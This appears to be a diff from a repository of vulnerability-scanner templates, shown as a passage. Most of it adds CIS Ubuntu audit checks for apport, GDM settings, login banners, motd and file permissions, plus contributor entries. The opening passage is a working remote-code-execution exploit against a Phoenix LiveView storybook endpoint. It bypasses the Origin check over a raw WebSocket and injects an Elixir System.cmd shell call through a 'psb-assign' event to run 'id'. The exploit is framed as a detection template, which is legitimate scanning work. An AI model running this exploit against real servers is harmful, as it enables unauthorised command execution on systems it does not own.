+      # Step 3: Raw WebSocket connection (NO Origin header - bypasses Phoenix check_origin)
+      host_with_port = target.split("://", 1)[1]
+      parts = host_with_port.split(":")
+      ws_host = parts[0]
+      ws_port = int(parts[1]) if len(parts) > 1 else (443 if is_https else 80)
+      csrf_enc = urllib.parse.quote(csrf, safe="")
+      ws_path = "/live/websocket?_csrf_token=" + csrf_enc + "&_track_static%5B0%5D=&_mounts=0&vsn=2.0.0"
+
+      try:
+          sock = socket.create_connection((ws_host, ws_port), timeout=15)
+          if is_https:
+              sock = ssl_ctx.wrap_socket(sock, server_hostname=ws_host)
+          ws_key = base64.b64encode(os.urandom(16)).decode()
+          handshake = "GET " + ws_path + " HTTP/1.1\r\nHost: " + host_with_port + "\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: " + ws_key + "\r\nSec-WebSocket-Version: 13\r\nCookie: " + cookie_str + "\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
+          sock.sendall(handshake.encode())
+          resp_data = b""
+          while b"\r\n\r\n" not in resp_data:
+              chunk = sock.recv(4096)
+              if not chunk:
+                  break
+              resp_data += chunk
+          if b"101" not in resp_data.split(b"\r\n")[0]:
+              print("NOT_VULNERABLE: WebSocket upgrade failed")
+              sys.exit(0)
+      except Exception as e:
+          print("NOT_VULNERABLE: WebSocket connection failed - " + str(e))
+          sys.exit(0)
+
+      def ws_send(sock, data):
+          payload = data.encode("utf-8")
+          frame = bytearray([0x81])
+          mask_key = os.urandom(4)
+          ln = len(payload)
+          if ln < 126:
+              frame.append(0x80 | ln)
+          elif ln < 65536:
+              frame.append(0x80 | 126)
+              frame.extend(struct.pack("!H", ln))
+          else:
+              frame.append(0x80 | 127)
+              frame.extend(struct.pack("!Q", ln))
+          frame.extend(mask_key)
+          masked = bytearray(ln)
+          for i in range(ln):
+              masked[i] = payload[i] ^ mask_key[i % 4]
+          frame.extend(masked)
+          sock.sendall(bytes(frame))
+
+      def ws_recv(sock, timeout=10):
+          sock.settimeout(timeout)
+          def rx(n):
+              d = b""
+              while len(d) < n:
+                  c = sock.recv(n - len(d))
+                  if not c:
+                      raise Exception("closed")
+                  d += c
+              return d
+          hdr = rx(2)
+          op = hdr[0] & 0x0F
+          mk = (hdr[1] & 0x80) != 0
+          ln = hdr[1] & 0x7F
+          if ln == 126:
+              ln = struct.unpack("!H", rx(2))[0]
+          elif ln == 127:
+              ln = struct.unpack("!Q", rx(8))[0]
+          if mk:
+              mask_key = rx(4)
+          pl = rx(ln)
+          if mk:
+              pl = bytearray(pl)
+              for i in range(len(pl)):
+                  pl[i] ^= mask_key[i % 4]
+              pl = bytes(pl)
+          return op, pl.decode("utf-8", errors="replace")
+
+      # Step 4: Join parent LiveView
+      parent_join = json.dumps(["1", "1", "lv:phx-" + phx_id, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": parent_session, "static": parent_static}])
+      ws_send(sock, parent_join)
+
+      child_session = None
+      child_topic = None
+      for _ in range(10):
+          try:
+              op, msg = ws_recv(sock)
+              if not msg:
+                  continue
+              data = json.loads(msg)
+              if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
+                  rendered_str = json.dumps(data[4].get("response", {}).get("rendered", {}))
+                  cs = re.findall(r'data-phx-session=\\+"([^"\\]+)', rendered_str)
+                  for s in cs:
+                      if s != parent_session:
+                          child_session = s
+                          break
+                  if not child_session and cs:
+                      child_session = cs[0]
+                  tm = re.findall(r'id=\\+"([^"\\]*-playground-preview)', rendered_str)
+                  if tm:
+                      child_topic = "lv:" + tm[0]
+                  cst = re.findall(r'data-phx-static=\\+"([^"\\]+)', rendered_str)
+                  if cst:
+                      child_static = cst[0]
+                  break
+          except:
+              break
+
+      if not child_session:
+          if len(sessions) > 1:
+              child_session = sessions[1]
+          else:
+              print("NOT_VULNERABLE: No child session found")
+              sock.close()
+              sys.exit(0)
+
+      if not child_topic:
+          child_topic = "lv:plausible_web_storybook_button-playground-preview"
+
+      # Step 5: Join child LiveView
+      child_join = json.dumps(["2", "2", child_topic, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": child_session, "static": child_static}])
+      ws_send(sock, child_join)
+
+      child_joined = False
+      for _ in range(10):
+          try:
+              op, msg = ws_recv(sock)
+              if not msg:
+                  continue
+              data = json.loads(msg)
+              if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
+                  st = data[4].get("status", "") if isinstance(data[4], dict) else ""
+                  if st == "ok":
+                      child_joined = True
+                      break
+          except:
+              break
+
+      if not child_joined:
+          print("NOT_VULNERABLE: Child join failed")
+          sock.close()
+          sys.exit(0)
+
+      # Step 6: Send RCE payload
+      cmd = "id"
+      exploit_val = 'foo" pwned={elem(System.cmd("sh",["-c","' + cmd + '"]),0)} a="'
+      exploit_msg = json.dumps(["3", "3", child_topic, "event", {"type": "click", "event": "psb-assign", "value": {"variation_id": "default", "type": exploit_val}}])
+      ws_send(sock, exploit_msg)
+
+      # Step 7: Parse output
+      rce_output = ""
+      for _ in range(10):
+          try:
+              op, msg = ws_recv(sock)
+              if not msg:
+                  continue
+              if "pwned" in msg:
+                  pm = re.search(r'pwned=\\+"(.*?)\\+"', msg)
+                  if not pm:
+                      pm = re.search(r'pwned="(.*?)"', msg)
+                  if pm:
+                      rce_output = pm.group(1).replace("\\n", "\n").replace("\\t", "\t").replace('\\"', '"')
+                      rce_output = re.sub(r'\s+a=.*', '', rce_output, flags=re.DOTALL).strip()
+                      break
+          except:
+              break
+
+      sock.close()
+
+      if rce_output and "uid=" in rce_output:
+          print("Target: " + target)
+          print("Status: RCE_CONFIRMED")
+          print("Command: " + cmd)
+          print("Output: " + rce_output)
+      else:
+          print("NOT_VULNERABLE: No RCE output")
+
+    matchers:
+      - type: word
+        words:
+          - "RCE_CONFIRMED"
+          - "uid="
+        condition: and
+
+    extractors:
+      - type: regex
+        name: rce_output
+        group: 1
+        regex:
+          - "Output: (.*)"
+# digest: 4b0a00483046022100b5d47bb3b409323c06c0a69d43dd2efc655299deaf65236f549b02744124fe270221009005e5bf760b103297f01bc490245e5e975b5aa756a8c5443da43311abb866b6:922c64590222798bb761d5b6d8e72950

code/linux/audit/apport-error-reporting-disabled-check.yaml

@@ -0,0 +1,45 @@
+id: apport-error-reporting-disabled-check
+
+info:
+  name: Ensure Automatic Error Reporting is Not Enabled
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    This template checks whether the Apport automatic error reporting service is enabled.
+  remediation: |
+    Disable Apport by editing `/etc/default/apport` and setting:
+      enabled=0
+
+    If Apport is not required, remove it:
+      sudo apt remove apport -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,apport,error-reporting,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s apport &>/dev/null && grep -Psiq -- '^\h*enabled\h*=\h*[^0]\b' /etc/default/apport; then
+          echo "[apport-error-reporting-disabled-check:Policy-Fail] [Automatic Error Reporting is enabled] [CIS_FAIL] [medium]"
+        else
+          echo "[apport-error-reporting-disabled-check:Policy-Pass] [Automatic Error Reporting is disabled] [CIS_PASS] [medium]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 490a0046304402200d37587f3a27f271e96ffbea88879b3f065db850de39a41b3ec97fb0c538f07b0220445de576573745b10d3e4d01b186ef72a9b7270bd0685634c45ddc4348243424:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-automount-removable-media-disabled-check.yaml

@@ -0,0 +1,44 @@
+id: gdm-automount-removable-media-disabled-check
+
+info:
+  name: Ensure GDM Automatic Mounting of Removable Media is Disabled
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    This template checks whether automatic mounting of removable media is disabled.
+  remediation: |
+    Disable automatic mounting and automatic opening of removable media in GDM.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,gdm,media,automount,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        automount=$(gsettings get org.gnome.desktop.media-handling automount 2>/dev/null)
+        automount_open=$(gsettings get org.gnome.desktop.media-handling automount-open 2>/dev/null)
+
+        if [ "$automount" = "false" ] && [ "$automount_open" = "false" ]; then
+          echo "[gdm-automount-removable-media-disabled-check:Policy-Pass] [Automatic mounting of removable media is disabled] [CIS_PASS] [medium]"
+        else
+          echo "[gdm-automount-removable-media-disabled-check:Policy-Fail] [Automatic mounting of removable media is enabled] [CIS_FAIL] [medium]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022100d49ac46ebe2172ca1f5fa4fbd1d7e2c4c3964ce081c06e33a29d8d87f5789c020220162bf14558a7cd7eca0d7006654b7ba99ffc23fd118e9bd7df99babf6fe13ced:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-autorun-never-enabled-check.yaml

@@ -0,0 +1,44 @@
+id: gdm-autorun-never-enabled-check
+
+info:
+  name: Ensure GDM autorun-never is Enabled
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    This template checks whether GDM is configured to disable autorun for removable media.
+  remediation: |
+    Enable the `autorun-never` setting to prevent automatic execution of content
+    from removable media.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,gdm,autorun,media,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        autorun_never=$(gsettings get org.gnome.desktop.media-handling autorun-never 2>/dev/null)
+
+        if [ "$autorun_never" = "true" ]; then
+          echo "[gdm-autorun-never-enabled-check:Policy-Pass] [GDM autorun-never is enabled] [CIS_PASS] [medium]"
+        else
+          echo "[gdm-autorun-never-enabled-check:Policy-Fail] [GDM autorun-never is not enabled] [CIS_FAIL] [medium]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 490a0046304402206c80c1a86743871e9f595f4dcd2a4514b546b38bc6d19526607164c2e3cae9a4022051f4b192684563ca0434b43e54043fdf0111dcd7cc59c761d5ac11d4ae9f7af0:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-disable-user-list-enabled-check.yaml

@@ -0,0 +1,42 @@
+id: gdm-disable-user-list-enabled-check
+
+info:
+  name: Ensure GDM disable-user-list Option is Enabled
+  author: Th3l0newolf
+  severity: low
+  description: |
+    This template checks whether the GDM disable-user-list option is enabled.
+  remediation: |
+    Enable the `disable-user-list` option in GDM to prevent displaying the
+    list of local users on the login screen.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,gdm,login,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if [ "$(gsettings get org.gnome.login-screen disable-user-list 2>/dev/null)" = "true" ]; then
+          echo "[gdm-disable-user-list-enabled-check:Policy-Pass] [GDM disable-user-list option is enabled] [CIS_PASS] [low]"
+        else
+          echo "[gdm-disable-user-list-enabled-check:Policy-Fail] [GDM disable-user-list option is not enabled] [CIS_FAIL] [low]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022025a93b7d3071b399ffeb3961566cdd9c923917af8678a1a885e811441fa04f01022100a84cee2408f06cfe157bdfcc217d3d32df9a8292f62566c1fad7b7b4542d4758:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-login-banner-configured-check.yaml

@@ -0,0 +1,45 @@
+id: gdm-login-banner-configured-check
+
+info:
+  name: Ensure GDM Login Banner is Configured
+  author: Th3l0newolf
+  severity: low
+  description: |
+    This template checks whether the GDM login banner is enabled and configured.
+  remediation: |
+    Enable the GDM login banner and configure an appropriate warning message
+    according to your organization's security policy.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,gdm,banner,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        enabled=$(gsettings get org.gnome.login-screen banner-message-enable 2>/dev/null)
+        banner=$(gsettings get org.gnome.login-screen banner-message-text 2>/dev/null)
+
+        if [ "$enabled" = "true" ] && [ -n "$banner" ] && [ "$banner" != "''" ]; then
+          echo "[gdm-login-banner-configured-check:Policy-Pass] [GDM login banner is enabled and configured] [CIS_PASS] [low]"
+        else
+          echo "[gdm-login-banner-configured-check:Policy-Fail] [GDM login banner is not enabled or not configured] [CIS_FAIL] [low]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022100e8489d5b348200a612586fc5e0fe4174623f220b4c1c44d330368d924251f574022057569da8e66eea1e3917a3111c07a2b48f45e4fbd94e6a20d27b35e1b5c732c4:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-removed-check.yaml

@@ -0,0 +1,42 @@
+id: gdm-removed-check
+
+info:
+  name: Ensure GDM is Removed
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    This template checks whether the GNOME Display Manager (GDM) is installed.
+  remediation: |
+    Remove the GDM package if it is not required:
+      sudo apt remove gdm3 -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,gdm,gdm3,package,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s gdm3 &>/dev/null; then
+          echo "[gdm-removed-check:Policy-Fail] [gdm3 is installed] [CIS_FAIL] [medium]"
+        else
+          echo "[gdm-removed-check:Policy-Pass] [gdm3 is not installed] [CIS_PASS] [medium]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 490a00463044022004cdc95f83850e9d07aa99423acaff95f3f8d644cf673f3f6282fdb499e25cb70220500dbf49f39b14e13f1134f8c4723055f51e6147c5a0f0ca68c4e8e91987f660:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-screen-lock-idle-check.yaml

@@ -0,0 +1,49 @@
+id: gdm-screen-lock-idle-check
+
+info:
+  name: Ensure GDM Screen Locks When the User is Idle
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    This template checks whether the screen is configured to lock after a period of user inactivity.
+  remediation: |
+    Configure the screen lock settings to meet your organization's security policy:
+      - Set `lock-delay` to 5 seconds or less.
+      - Set `idle-delay` to 900 seconds (15 minutes) or less and ensure it is not disabled.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,gdm,screensaver,screenlock,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        lock_delay=$(gsettings get org.gnome.desktop.screensaver lock-delay 2>/dev/null | awk '{print $2}')
+        idle_delay=$(gsettings get org.gnome.desktop.session idle-delay 2>/dev/null | awk '{print $2}')
+
+        if [ -n "$lock_delay" ] && [ -n "$idle_delay" ] && \
+           [ "$lock_delay" -le 5 ] && \
+           [ "$idle_delay" -gt 0 ] && \
+           [ "$idle_delay" -le 900 ]; then
+          echo "[gdm-screen-lock-idle-check:Policy-Pass] [Screen lock is configured correctly] [CIS_PASS] [medium]"
+        else
+          echo "[gdm-screen-lock-idle-check:Policy-Fail] [Screen lock is not configured correctly] [CIS_FAIL] [medium]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022100be8d82fc5c709641b04535b1b34c9e69db9602eb06a0e4b508c1c7dc598e2a30022065d4f36251f33969b7c7cac33ce18f1b0115cd6ff96f514b5f5f23e57064e639:922c64590222798bb761d5b6d8e72950

code/linux/audit/home-env-permission.yaml

@@ -21,7 +21,10 @@ code:
         HOME_DIR=$(eval echo ~$user)
         find "$HOME_DIR" -maxdepth 1 -type f \
           \( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
-          -exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
+          -exec ls -l {} \; | awk -v usr="$user" '{
+            if ($3 != "root" && $3 != usr) print "INVALID_OWNER", $0
+            else print $0
+          }'
       done
 
     matchers:
@@ -36,5 +39,5 @@ code:
         name: invalid-owner
         part: response
         regex:
-          - "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
-# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
+          - "^INVALID_OWNER"
+# digest: 4b0a004830460221008f1026cc0254988a320127f54f6632957306601d6961aea2ac9a446cd5f6b9ab02210086b126c50bbc20138ad7477bb88eeaf1b605461def18dd415775fd23651b9758:922c64590222798bb761d5b6d8e72950

code/linux/audit/issue-file-permissions-check.yaml

@@ -0,0 +1,47 @@
+id: issue-file-permissions-check
+
+info:
+  name: Ensure Access to /etc/issue is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    This template checks whether /etc/issue has secure ownership and permissions.
+  remediation: |
+    Set the ownership and permissions on `/etc/issue`:
+      sudo chown root:root /etc/issue
+      sudo chmod 644 /etc/issue
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,issue,permissions,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        mode=$(stat -Lc "%a" /etc/issue)
+        uid=$(stat -Lc "%u" /etc/issue)
+        gid=$(stat -Lc "%g" /etc/issue)
+
+        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
+          echo "[issue-file-permissions-check:Policy-Pass] [/etc/issue ownership and permissions are correctly configured] [CIS_PASS] [medium]"
+        else
+          echo "[issue-file-permissions-check:Policy-Fail] [/etc/issue ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a0047304502204805f23b5b2fde38972210068588544f6d63ee85808fd260c1110d3bf74e0f81022100bcf8c34f4972f68f33fcbe9e00e7a9d4d88db7c5fbd44edc9015fdd09435e104:922c64590222798bb761d5b6d8e72950

code/linux/audit/issue-net-file-permissions-check.yaml

@@ -0,0 +1,47 @@
+id: issue-net-file-permissions-check
+
+info:
+  name: Ensure Access to /etc/issue.net is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    This template checks whether /etc/issue.net has secure ownership and permissions.
+  remediation: |
+    Set the ownership and permissions on `/etc/issue.net`:
+      sudo chown root:root /etc/issue.net
+      sudo chmod 644 /etc/issue.net
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,issue.net,permissions,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        mode=$(stat -Lc "%a" /etc/issue.net)
+        uid=$(stat -Lc "%u" /etc/issue.net)
+        gid=$(stat -Lc "%g" /etc/issue.net)
+
+        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
+          echo "[issue-net-file-permissions-check:Policy-Pass] [/etc/issue.net ownership and permissions are correctly configured] [CIS_PASS] [medium]"
+        else
+          echo "[issue-net-file-permissions-check:Policy-Fail] [/etc/issue.net ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a0047304502205b90b88bc4944dc3b9d5e1ffd449bfeba36ca31aa5b361d2925d6a9ffdfa31d2022100f198d2b9ea2306ea3da915e903f444320811814b645ca7199caa29242e77e657:922c64590222798bb761d5b6d8e72950

code/linux/audit/local-login-warning-banner-configured-check.yaml

@@ -0,0 +1,46 @@
+id: local-login-warning-banner-configured-check
+
+info:
+  name: Ensure Local Login Warning Banner is Configured Properly
+  author: Th3l0newolf
+  severity: low
+  description: |
+    This template checks whether the local login warning banner is configured
+    without exposing system information.
+  remediation: |
+    Edit `/etc/issue` and remove any operating system, kernel, architecture,
+    or version information that could disclose system details. Configure the
+    banner according to your organization's security policy.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,issue,banner,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
+
+        if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue >/dev/null 2>&1; then
+          echo "[local-login-warning-banner-configured-check:Policy-Fail] [/etc/issue contains system information] [CIS_FAIL] [low]"
+        else
+          echo "[local-login-warning-banner-configured-check:Policy-Pass] [/etc/issue is properly configured] [CIS_PASS] [low]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022100b7f3c0df5a197c8d43ee9e54731a4ca92fda92a03c083fc15c36747d0d38e7cb02201a669b82498409b20c9dfda008d11eeb57e395f382ba3c502504311f675c6653:922c64590222798bb761d5b6d8e72950

code/linux/audit/motd-configured-properly-check.yaml

@@ -0,0 +1,45 @@
+id: motd-configured-properly-check
+
+info:
+  name: Ensure Message of the Day is Configured Properly
+  author: Th3l0newolf
+  severity: low
+  description: |
+    This template checks whether the Message of the Day (MOTD) is configured
+    without exposing system information.
+  remediation: |
+    Edit `/etc/motd` and remove any operating system, kernel, architecture,
+    or version information that could disclose system details.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,motd,banner,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
+
+        if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/motd >/dev/null 2>&1; then
+          echo "[motd-configured-properly-check:Policy-Fail] [/etc/motd contains system information] [CIS_FAIL] [low]"
+        else
+          echo "[motd-configured-properly-check:Policy-Pass] [/etc/motd is properly configured] [CIS_PASS] [low]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a0047304502205a5f2adda2516b58a427743cc99efc6ebbb0ecde6a4c1675c8b74c47b485913d022100c0fc56c0137edea5823b5e5f0594b7f64e062c607da5c940a903cd81e6fb2dd4:922c64590222798bb761d5b6d8e72950

code/linux/audit/motd-file-permissions-check.yaml

@@ -0,0 +1,52 @@
+id: motd-file-permissions-check
+
+info:
+  name: Ensure Access to /etc/motd is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    This template checks whether /etc/motd has secure ownership and permissions.
+  remediation: |
+    Set the ownership and permissions on `/etc/motd`:
+      sudo chown root:root /etc/motd
+      sudo chmod 644 /etc/motd
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,motd,permissions,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if [ ! -e /etc/motd ]; then
+          echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd does not exist] [CIS_PASS] [medium]"
+          exit 0
+        fi
+
+        mode=$(stat -Lc "%a" /etc/motd)
+        uid=$(stat -Lc "%u" /etc/motd)
+        gid=$(stat -Lc "%g" /etc/motd)
+
+        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
+          echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd ownership and permissions are correctly configured] [CIS_PASS] [medium]"
+        else
+          echo "[motd-file-permissions-check:Policy-Fail] [/etc/motd ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a0047304502205337c124afb6ffea14ac939029a929394b67bfeadb6e6f0003cee0c40ffd1fa0022100b4febaa25daaaeb3a029834eeccccfdabb508014c26b9f131229f38f4c6b78b1:922c64590222798bb761d5b6d8e72950

code/linux/audit/prelink-not-installed-check.yaml

@@ -0,0 +1,45 @@
+id: prelink-not-installed-check
+
+info:
+  name: Ensure Prelink is Not Installed
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    This template checks whether the prelink package is installed.
+    Prelink modifies binaries to decrease application startup time, but it
+    interferes with file integrity monitoring and is not recommended on
+    secure systems.
+  remediation: |
+    Remove the prelink package if it is installed:
+      sudo apt remove prelink -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,prelink,package,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s prelink &>/dev/null; then
+          echo "[prelink-not-installed-check:Policy-Fail] [prelink is installed] [CIS_FAIL] [medium]"
+        else
+          echo "[prelink-not-installed-check:Policy-Pass] [prelink is not installed] [CIS_PASS] [medium]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022100c4e5c119744b7079c44408522880e76d2c682b313df4d0f48dff17eeb1c1f7220220386bd07b1ae18d94f3c0dc5e6d1d0db5cee4e92d3109a171060d2f0555fe2ad5:922c64590222798bb761d5b6d8e72950

code/linux/audit/remote-login-warning-banner-configured-check.yaml

@@ -0,0 +1,46 @@
+id: remote-login-warning-banner-configured-check
+
+info:
+  name: Ensure Remote Login Warning Banner is Configured Properly
+  author: Th3l0newolf
+  severity: low
+  description: |
+    This template checks whether the remote login warning banner is configured
+    without exposing system information.
+  remediation: |
+    Edit `/etc/issue.net` and remove any operating system, kernel, architecture,
+    or version information that could disclose system details. Configure the
+    banner according to your organization's security policy.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  tags: cis,linux,ubuntu,issue.net,banner,audit
+  metadata:
+    verified: true
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
+
+        if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue.net >/dev/null 2>&1; then
+          echo "[remote-login-warning-banner-configured-check:Policy-Fail] [/etc/issue.net contains system information] [CIS_FAIL] [low]"
+        else
+          echo "[remote-login-warning-banner-configured-check:Policy-Pass] [/etc/issue.net is properly configured] [CIS_PASS] [low]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a0047304502202065d10bad394d8529bc1b5346c26671b0fbf5b686bf3ce722361eedb25a8f40022100d64ffaa84730831df0d67eae2bbf88173117bbee798d3bb1f93fd64bb278a428:922c64590222798bb761d5b6d8e72950

code/misconfiguration/dns-axfr-enabled.yaml

@@ -11,7 +11,7 @@ info:
   metadata:
     verified: true
     shodan-query: port:53
-  tags: dns,tcp,axfr,code
+  tags: dns,tcp,axfr,code,vuln
 
 code:
   - engine:
@@ -31,4 +31,4 @@ code:
         regex:
           - 'SOA\s+([^\s]+)'
         group: 1
-# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220729310e32ddaf376e205fe7202c209109d72fc732c11c480c2d0e76fcaa5ad3d022100e3ccab3824ce3028b6de37a92e77fc88aa98d5d8e6ae0ef6d8b061490e6ac218:922c64590222798bb761d5b6d8e72950

contributors.json

@@ -1519,5 +1519,45 @@
             "website": "https://halilkirazkaya.com",
             "email": "[email protected]"
         }
+    },
+    {
+        "author": "marcialpaulg",
+        "links": {
+            "github": "https://github.com/marcialpaulg",
+            "twitter": "",
+            "linkedin": "https://www.linkedin.com/in/marcialpaulg/",
+            "website": "https://marcialpaulg.com",
+            "email": "[email protected]"
+        }
+    },
+    {
+        "author": "zer0p0int",
+        "links": {
